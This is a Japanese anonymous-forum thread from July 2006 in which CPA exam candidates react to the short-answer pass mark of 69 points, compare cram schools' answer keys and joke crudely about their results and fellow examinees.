163 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:03 ID:???
最終合格者何人にするとか何割にするとか発表ってあったっけ?

164 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:13 ID:???
疑義問全部正解バロスww
おれ金融庁と相性いいわ

165 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:19 ID:???
>>145>>148
ありがとう

それにしてもTACは
前からこうだったんですか?

166 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:20 ID:???
おれTACより監査良かったよ。
という奴けっこういそうな感じ。

167 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:26 ID:???
来年の論文は激戦だなw

168 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:27 ID:???
1500人増やしたってことは従来ならやっぱり73〜74ぐらいだったんだろうな

169 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:49 ID:???
逆に80以上の人乙ね〜。
無意味な労力が無駄になったね。

170 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:42:53 ID:JO0QITpM
採点せずに勉強してきたかいがあった
これから採点します

171 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:43:19 ID:???
びち太郎はネ申

172 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:43:22 ID:???
日本の領海内にミサイル着弾!!!!!!!!!!
今CNNがつたえた

173 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:43:24 ID:???
TACは講師何人がかりだよwwwwwwwwwwwwwww

174 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:43:32 ID:???
来年の短答が激しくきつくなりますた。

175 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:43:33 ID:???
170
おまえ、kiseか?

176 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:03 ID:???
80以上全然意味ないジャマイカ・・・orz

177 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:03 ID:???
全然つながんねーよ

178 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:09 ID:3Qb+FZjP
TACで71→68不合格の人がいるわけだ。

179 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:19 ID:???
今年論文きつそやな。

180 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:19 ID:???
TAC採点の71は落ちた(-3)ということかw

181 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:25 ID:???
5000人って...
69点って...

自習質込みまくりだな



182 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:32 ID:???
TAC惨敗!!!管理問3・監査問13の失態。
講師辞職もありうるな

183 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:42 ID:???
うぜえええええええええええ
つながらねええええええええええええ
おまえらケーブル切手首釣ってしねええええええええええ
合格おめでとおおおおおおおおおおおお

184 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:46 ID:cTZrTt0P
きみたちどうやってみてんの?
全然つながらないよ

185 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:48 ID:???
平澤の予想がありえない

186 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:49 ID:???
TAC71wwwwwwwwwwwwww

187 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:54 ID:???
やっほーーーーーーーーーーーーーーーい


合格してた

188 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:44:57 ID:???
>>180
頭悪いな

189 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:08 ID:???
来年の論文はすげー競争高そうだなマジで
合格するなら今年か

190 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:09 ID:???
TAC採点の71は落ちた(-3)

来年は大原orLEC

191 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:14 ID:???
TACの講師のボーダーは76だっけ?

192 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:28 ID:???
来年の短答どうなるんだろうね
そもそも何人受けるかわからない

2chの人達は相当合格率高そうね

193 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:32 ID:???
論文が1500人としても両隣以上は倒さなければならないわけか。

194 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:37 ID:???
TAC生、69という数字を見て大喜びで受験番号確認。

ない・・・・

195 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:38 ID:???
おまいら他にサプライズ解答あるかもしれないぞ
よくチェケラッチョ

196 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:47 ID:???
俺73だったけど、
80以上取った人が一番むなしいな。
無駄な労力短答に費やしてるしww

197 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:45:51 ID:???
なんで70じゃなくて69にしたのか

意味がわからん

198 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:01 ID:???
>>194

どんまい

199 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:04 ID:???
>>148
セミナは?

200 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:08 ID:???
TACひでーな

201 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:20 ID:???
今年から5000人基準みたいですね

202 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:24 ID:QrXMJVd2
受かったのに全然嬉しくない自分が、性格悪くてやだ。
69の人よかったね、と言えないのは、まだ勉強がたりないんだろな、またがんばりますm(_ _)m

203 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:24 ID:???
短答式、結果89点。
論文に点数持ちこしたいと思う今日この頃。。

204 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:37 ID:???
ボーダー低すぎなんだよ!!なんだこれ


205 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:46 ID:???
会計士の数増やすんでしょ?
論文も簡単になるの?
やったーワーイ

206 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:48 ID:???
論文式受験資格者の合計が9617名になっている件について

207 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:46:57 ID:???
>>196
短答で80以上とったやつはそんなに労力かけてないと思われ

208 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:47:01 ID:???
見た奴はさっさとされ!
みれねーだろ!
疑義は見たが71の俺はマークミスにがくぶる。

209 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:47:02 ID:???
>>197
結局は人数基準だったんだろ。
5000人という。
たぶん69のほうが70点よりも5000人に近かったんだろ。

210 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:47:04 ID:???
>>196
しかし、73でびびって勉強手付かずと80以上短答翌日から勉強じゃかなり差がある希ガス

211 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:47:16 ID:???
>>205
今年こそは期待できるか??

212 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:47:18 ID:???
受かってた〜〜〜!!!!!!!!!





TAC65点、大原66点だったのになぜ??????

213 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:47:37 ID:???
>>183
ありがとう

214 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:08 ID:???
80以上だと、なぜ翌日から勉強できるのか?
僕できませんでしたから。

215 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:22 ID:???
5000て2年後累積したらえらい数になるが
自爆するつもりなのか?

216 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:31 ID:???
俺85点(TAC採点86点)。Tのリサーチ49位だったんだが、全然意味ない…。
10点だけでいいから租税法にプラスしてくれよ…(´・д・`)

217 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:34 ID:???
80以上乙。
俺今採点したら74やった。
まあ一番効率的な通過だったわ。

218 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:39 ID:???
>>215
来年から減らすんでしょ。

219 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:42 ID:???
っていうか合格者調べにアカスク在学はあるのにアカスク卒が無いのはなぜ?



まさか・・・

220 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:44 ID:???
>>212
予備校解答と違う解答がまだほかにあるか、もしくはマークミスがいい方に作用したか

221 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:56 ID:???
論文が2000人とかありえないしな〜
せいぜい1500人だろうな
士補考慮外で倍率3倍以上だよ
まあ今までの倍率が国家試験としては低すぎたわけで

222 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:48:58 ID:???
【疑義問成績】 左から監査13監査14監査19管理03財務05

××○×○ TAC
○×△○○ 大原
○××○○ AXL
○○○○○ LEC
○××○○ クレ
○×○○○ CPA
○×○○× ICO

223 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:49:04 ID:3Qb+FZjP
ほんとに、70じゃなく69の意味がわかんね。
だったら始めから70とかいわなきゃいいじゃん。
70にすると人数ずいぶん減るのかな?

224 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:49:11 ID:???
俺なんか、90点以上でもまったくやんなかったぜw

225 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:49:11 ID:???
>>214
禿同

226 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:49:54 ID:???
TACとイコしね

ムダに不安にさせやがって

227 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:49:59 ID:???
アカスク卒は企業法14以上で合格か。
全員合格したんだろ。たぶん。
てか今年の短答落ち地獄だわ。たぶん。痔札者でるかもな。

228 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:50:17 ID:lLo72ONR
諸君!
前スレでIDさらして68点5000人(点数は1点100人くらい間違うかも)とリークしたものだ

馬鹿にした奴ら、ちょっとは誉めてね


229 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:50:26 ID:???
>>222
TACw
タックw
たっくw

230 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:51:15 ID:???
なんかAXLの監査センセもやられちゃってるね
監査14が2が一番うれしかったよ
なあびち

231 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:51:27 ID:???
マジで今年が一番の狙い目だったってことか
今年落ちた奴m9(^Д^)プギャー!!

232 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:51:39 ID:9MR4x0Ou
結局ボーダー何点なんですか?

233 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:51:40 ID:3Qb+FZjP
やっぱ合格率で切ったのかな?30%台に乗せとこうみたいな。

234 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:51:50 ID:???
>228
68点が合格したと思ってへこんだぞ・・

235 :べて:2006/07/05(水) 09:52:00 ID:cTZrTt0P
5000人受かっても69か・・・・
どうやら俺は撤退した方がよいみたいだ・・・・

みんながんがってくれ。
俺は社会の片隅でひっそり生きるよ。
さようなら、会計士試験

236 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:00 ID:???
新試験制度1年目は狙い目というのは本当だったか

237 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:01 ID:???
むしろ、専門学校によっては90前後大量出現しまして。
ボーリング行ったりしてたりしまして。
なので、ボーダー69は、正直周りのレベルの低さに愕然なのであります

238 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:08 ID:???
TACの講座受けようと思っていたけれど
LECにします
5問中3問はずすような予備校は信用できません。

239 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:16 ID:???
>>227
短刀落ちだけど俺含めて多分みんな試し受験組

240 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:16 ID:???
審査会繋がらん…

241 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:34 ID:???
>>233
5000人で切ったんだろ。
わざわざ70から1%落として5031人にしてるし。

242 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:34 ID:???
アカスクはやっぱバカスクだな。
合格率25%て・・・。

243 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:47 ID:???
>>235
あてはあるの?

244 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:52:57 ID:???
しゃ!受かってた!短答特化1ヶ月71点。

245 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:53:20 ID:???
低すぎる

246 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:53:23 ID:???
【疑義問成績】 左から監査13監査14監査19管理03財務05

××○×○ TAC
○×△○○ 大原
○××○○ AXL
○○○○○ LEC
○××○○ クレ
○×○○○ CPA
○×○○× ICO

TACバロスwwwwwwwwwwwwwww

247 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:53:29 ID:???
TACwwwwwwwwwwwwwwwwww

アカスクって何処で見られるの?

248 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:53:31 ID:???
axl生は監査14は2にしてる人が多いって書き込みがあったような
気がする。なのに・・・・・。

249 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 09:53:45 ID:???
71だけどボーダー69って低すぎだろ
4500人でよかったのに

250 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:53:53 ID:???
TAC(笑)



で誰かスレ立てて

251 :べて:2006/07/05(水) 09:53:54 ID:cTZrTt0P
>>243
ないです。
これからかんがえます。
就職活動しんどそう。
高齢ですし。

252 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:54:02 ID:???
>>235
やめちゃうのかい

253 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:54:03 ID:???
論文の判定に用いる偏差値60(上位15%だっけ?)と
得点率60%に差があり過ぎないようにザコを増やしたのかな。

254 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:54:41 ID:3Qb+FZjP
>>238 Lはいかない方が懸命だよ。TがいやだったらOにしな。

255 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:54:46 ID:???
学生の合格率が随分低いな

256 :べて:2006/07/05(水) 09:54:55 ID:cTZrTt0P
>>252
長くやりすぎたので
もう撤退しか道がありません

257 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:55:26 ID:???
去年30今年80の2年目だけど
5000人だったら去年も受かってたんじゃねえか?
なんかむかつくぜ!

258 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:55:28 ID:???
合格者多いな・・・。

259 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:55:28 ID:???
>>248
俺アクセル生だけど監査14は2だよ

260 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:55:38 ID:???
>>251
何歳?まぁきついだろうけど頑張ってね

261 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:55:38 ID:???
俺の前の可愛い子受かってなかった…

262 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:55:55 ID:???
>>256
失礼ですけど何歳で何回目ですか?

263 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:56:01 ID:???
>>261
orz

264 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:56:19 ID:JO0QITpM
いま採点した
企業16
監査16
管理14
財務23(+3問は不明)

69かよwwww
でもうかっちゃってた〜〜〜www

265 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:56:25 ID:???
>>261
お前が見まくるからだよ。かわいそうに。

266 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:56:48 ID:???
俺の前の生粋のブサイク落ちてた


267 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:00 ID:???
>>264
(+3問は不明)
ってなんだよwwww

268 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:03 ID:???
>>261
お前はおれかwww

269 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:12 ID:???
5000人合格で明らかになったな

科目合格者出まくりだということが

2年免除の意味は、やっぱり「科目合格を重ねて2年以内に
受かってください」だったんだよ・・

270 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:14 ID:???
>>266
グッジョブ!

271 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:19 ID:???
いまだにみれねぇ・・・orz

272 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:27 ID:???
合格者調が見れない

273 :べて:2006/07/05(水) 09:57:28 ID:cTZrTt0P
>>262
恥ずかしくていえないけど
相当なヴェテ&ヲヤジです。
職歴はありますが。

真っ暗闇です



274 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:33 ID:???
監査・租税の受験者9500人て凄まじいな・・・


275 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:34 ID:???
>>265

あまりにも可愛いし、試験中うなじの誘惑に負けてしまったからな。
ちくしょおおおおおおおお
彼女と論文受かって乳繰り合うのが夢だったのにぃぃぃぃぃぃぃ

276 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:50 ID:???
俺のうしろのブスも落ちてた

277 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:57:54 ID:???
俺の周り俺以外みんな受かってる!!!

278 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:58:20 ID:???
>>271
受験番号何番代か言ってくれれば見てあげるよ

279 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:58:23 ID:???
だってさ、白のtシャツに黒のブラだぜ?
男なら見るでしょー

280 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:58:26 ID:???
>>259
俺もアクセルで監査14は2。
えいじはなにやっとるんだ。

281 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:58:47 ID:/uX/5rtA
マジで1点足りなかった
最悪


282 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:58:53 ID:WETEVUQZ
.

283 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:59:21 ID:???
>>282
何か言えよw

284 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:59:28 ID:???
>>279
それ、後ろの男の集中力を奪う罠。

285 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:59:40 ID:???
おれも見れねぇ…

286 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 09:59:45 ID:???
>>278
恥ずかしいのでいいですw

287 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:00:05 ID:XIH92Let
70で多分大丈夫だと思ってたら落ちてたorz

288 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:00:12 ID:???
>>275
ワロスwwww

289 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:00:17 ID:???
疑義問なんか丁半博打みたいなものですから


290 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:00:21 ID:???
俺の前の席の企業法だけ受けて去っていった奴落ちてた

291 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:00:50 ID:???
セミナーも追加してあげる
監査13△14×19○
管理5○
財務5○

292 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:01:16 ID:???
>>273
自分も5回以上やってるけど・・・

職歴あるなら全然真っ暗闇じゃないじゃん

293 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:01:40 ID:???
>>280
えいじあれだけ頑張って見解書いてほっと広場にうpしたのに外したの(´・ω・`)カワイソス

294 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:01:53 ID:???
とりあえず短答の教材は全て捨てよう。
もう二度と受けること無いだろうし。

295 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:02:26 ID:???
>>294
それはどうかなw

296 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:02:38 ID:???
問 7月5日の仕訳を答えなさい。

(借)勉強時間累計額 3000(貸)おれ 500000
(借)当月勉強時間   20
(借)人生除却損  496980 

297 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:02:39 ID:???
69なら、一科目受ける必要リアルになかったな。

298 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:03:10 ID:???
だね。
というか短答また受けることがあるかも、なんて考えてる香具師は3年後受けることになるな。
そういう試験だと去年悟った。

299 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:03:25 ID:3Qb+FZjP
あかすく生25%ってマジ?
企業法で14取れないのが75%いるの?
受験生の底辺?
柳沢?

300 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:03:42 ID:???
>>288
笑うな馬鹿やろうぉおおおおおおお
吉岡みほ似の美人なんだぞ

もう最悪だよ糞が

301 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:03:45 ID:???
69とれたのが5000人って…
これは前半のできない子も受かってそうだから前半も不利ではないな。

302 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:03:51 ID:???
まあとにかく受かっててよかった
マークミスやら疑義問やら怖かったし

合格者へって落ちてるよりいいわ

303 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:04:09 ID:???
>>299
ちがう。全部受けてる。アカスク在学中だから免除はまだ。

304 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:04:09 ID:???
81点で試験直後から合格確信してたけど
時間あるからサッカーみちゃったり女関係はまったくなかったけど
はっきりいってぜんぜん勉強してねえよ
なんか5000人合格みたらさらにやる気がなくなった
こんにゃ奴多いだろ?

305 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:04:32 ID:???
>>296
おれの資産価値ありすぎwwww


306 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:04:43 ID:3Qb+FZjP
どうせなら分布も発表してほしいよね。


307 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:05:14 ID:???
全受験者に占める合格率が23%→31%ってことは、

記念受験とか端にも棒にもかからない人除けば、

かな〜り合格率あがってるんじゃネーノ

308 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:05:31 ID:???
>>304
ノシ

309 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:05:31 ID:???
>>299
アカスクいってりゃ万事オッケーとでも勘違いしたんじゃねーの
アカスクって法律習わないんだべ?

っていうかアカスク生なんて敵じゃねーーーーーーーwwwwww

310 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:05:34 ID:???
えいじの見解こじつけじゃん。
後半の「質的〜」を問いたかったと思うとか言って。
論拠も何もお前の予想だろ。
関連付けてがあいまいだからとかww


311 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:05:41 ID:???
>>304
点数から何から俺と全く同じ

312 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:05:44 ID:???
よかった・・受かってた。
手ごたえ的に60後半だったからダメかと思ってたけど・・
自己採点したら72だった。
迷いながらも論文の勉強してて良かった。

313 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:05:51 ID:ATjIrsCT
これは大変な試験になったな・・

314 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:06:31 ID:3Qb+FZjP
>>303 そうなんだ。
免除者の合格率はわからないの?

315 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:06:47 ID:QTNF0muU
tacの監査論のまとめの時問13中里先生は1ってゆうとったじゃんか!
これで中里先生の信用悪化


316 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:07:03 ID:???
TAC71→68

を慰めよう。

317 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:07:34 ID:???
俺も相当なベテなのだけど落ちた・・・
初受験から3連続論文落ちのあと、2連続短答落ち・・・
一昨年あたりから自分の中で何かが終わってる気がする。
俺ももう潮時かな・・・

318 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:07:44 ID:???
TACは問題形式にこだわる前にもっとやることがあったんじゃないのか・・?

319 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:07:45 ID:???
>>316
そういうやつ本当にかわいそうだ…

320 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:07:51 ID:???
俺はTAC70→68・・・

321 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:04 ID:???
すいません、
会計士の短答式と、日照簿記一級って
どっちが難しいんですか??


322 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:09 ID:???
TACは去年2問はずしてるしあほだよな。

323 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:11 ID:???
だれかTACの管理3のことも思い出してあげてください。

324 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:29 ID:3Qb+FZjP
監査14重要性の基準値の基準値か値かの話は結局あってたんだね。

325 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:30 ID:???
>>315
授業中独自の見解だして成功した平澤とは逆だなw

326 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:32 ID:QTNF0muU
tacって最悪だね 特に講師が tacしか知らないが

327 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:34 ID:???
>>317
なんで?なんでそうなっちゃうの?

328 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:08:54 ID:???
>>321
言わずもがな。

329 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:07 ID:???
「76もありえる」by TACwwwwww

330 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:10 ID:???
>>299
あれは在学生だから卒業生と違って免除は無い。
むしろ卒業生のデータを出さなかったことのほうが気になる。
もしかしてもっと悲惨な・・・

331 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:17 ID:???
>>321
そりゃ短答だよ

332 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:17 ID:???
アカスク生の企業法ってやっぱ全体の企業法の平均点考慮に入れたんじゃないの?
さすがに14点以上が25%しかいないってありえないだろ。

333 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:25 ID:yQh2FMB9
>>328
日商ってこと?

334 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:26 ID:???
結果から判断するに、今年は士補を優先しまくって新規が少なくさせられる気がする。
適当に科目合格とかさせて。

335 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:30 ID:???
大原vs.TAC

圧倒的に大原の勝ち

336 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:48 ID:???
>>328
 え、一級!?

337 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:52 ID:???
>>317
合格する力はあると思うんだがなー。
なんでだろう…。

338 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:55 ID:???
これからは、基準値と値は別にこだわる必要ないって
教えなきゃねw

339 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:09:06 ID:???
16000に受けて5000人合格かよ。レベル下がったな。

340 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:10:41 ID:???
どうでもいいけどミサイルが飛びまくってるぞ。

341 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:11:05 ID:???
>>339
だって会計士増やさなきゃなんだもん。しゃーねーじゃん

342 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:11:06 ID:???
今年はアカスク生404人のうち350人以上は免除要件満たしていないです

343 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:11:27 ID:???
>>321
ばいばい

344 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:11:33 ID:???
>>337
本番に向いてないんじゃん?
多分、そういう人生なんだよ。

345 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:11:39 ID:???
やっとつながったから見たけど、
願書提出者が2万overなのに受験者数が1万5千ってことは、
試し受験とか冷やかしがほとんどいなかったってことなのかな。

昨年は提出者と受験者数がほとんど一緒なのに。

346 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:11:47 ID:???
受験1回目だけど、短答通ってた。
今採点したら70点!!あぶねえ。
てか短答楽勝じゃんか。

347 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:11:58 ID:???
どっちにしろ専門教育受けてるバカスク性が
一般より合格率低いというのははげしく失敗だろ・・・

348 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:12:00 ID:???
合格しても、ミサイル富んでるから複雑な気分。

349 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:12:27 ID:???
会計士の社会的地位の低下。
法人に入るのは危険と判断せざる終えない状況ですね、これは。
69しか取れない人と同じ職場なんて、考えたくもないわ。

350 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:12:35 ID:???
TAC講師は阿部以外猛省しろ
阿部は神

351 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:12:42 ID:???
アカスクの免除者は不明。
アカスク在学中(免除まだ)のレベルが低いことは確定。
さすが長期計画前提だけのことはある。

352 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:12:50 ID:???
2chの「70点で5000人」説はかなりイイ線を突いてたってことか

353 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:12:50 ID:???
通知届くの今日ですか?

354 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:11 ID:???
>>345
お前は士補の存在を知らんのか

355 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:16 ID:???
>>345
志保

356 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:17 ID:???
TACは糞

357 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:19 ID:???
>>352
2chにはありとあらゆる説があっただろw

358 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:25 ID:3Qb+FZjP
昔昔、個数問題全盛のころ29点(今の58)が合格点の時もあった。

359 :317:2006/07/05(水) 10:13:28 ID:???
正直最初の数回はこの試験なめてて、勢いにのって勉強できていたんだけど
なぜか論文落ちが続いて、勉強時間は確保できても露骨に集中力落ちたり
本番前日に寝れなくなったり当日緊張しまくるようになったりで・・・

メンタル面が駄目というか、逆境に弱いのだろうな。
今回短答合格された方、このまま勢いにのって合格されることをお祈りします。

360 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:29 ID:???
>>353
あした。

361 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:29 ID:???
>>353
明日だとおもう

362 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:45 ID:???
>>347
だって学部教育見てりゃわかるじゃん
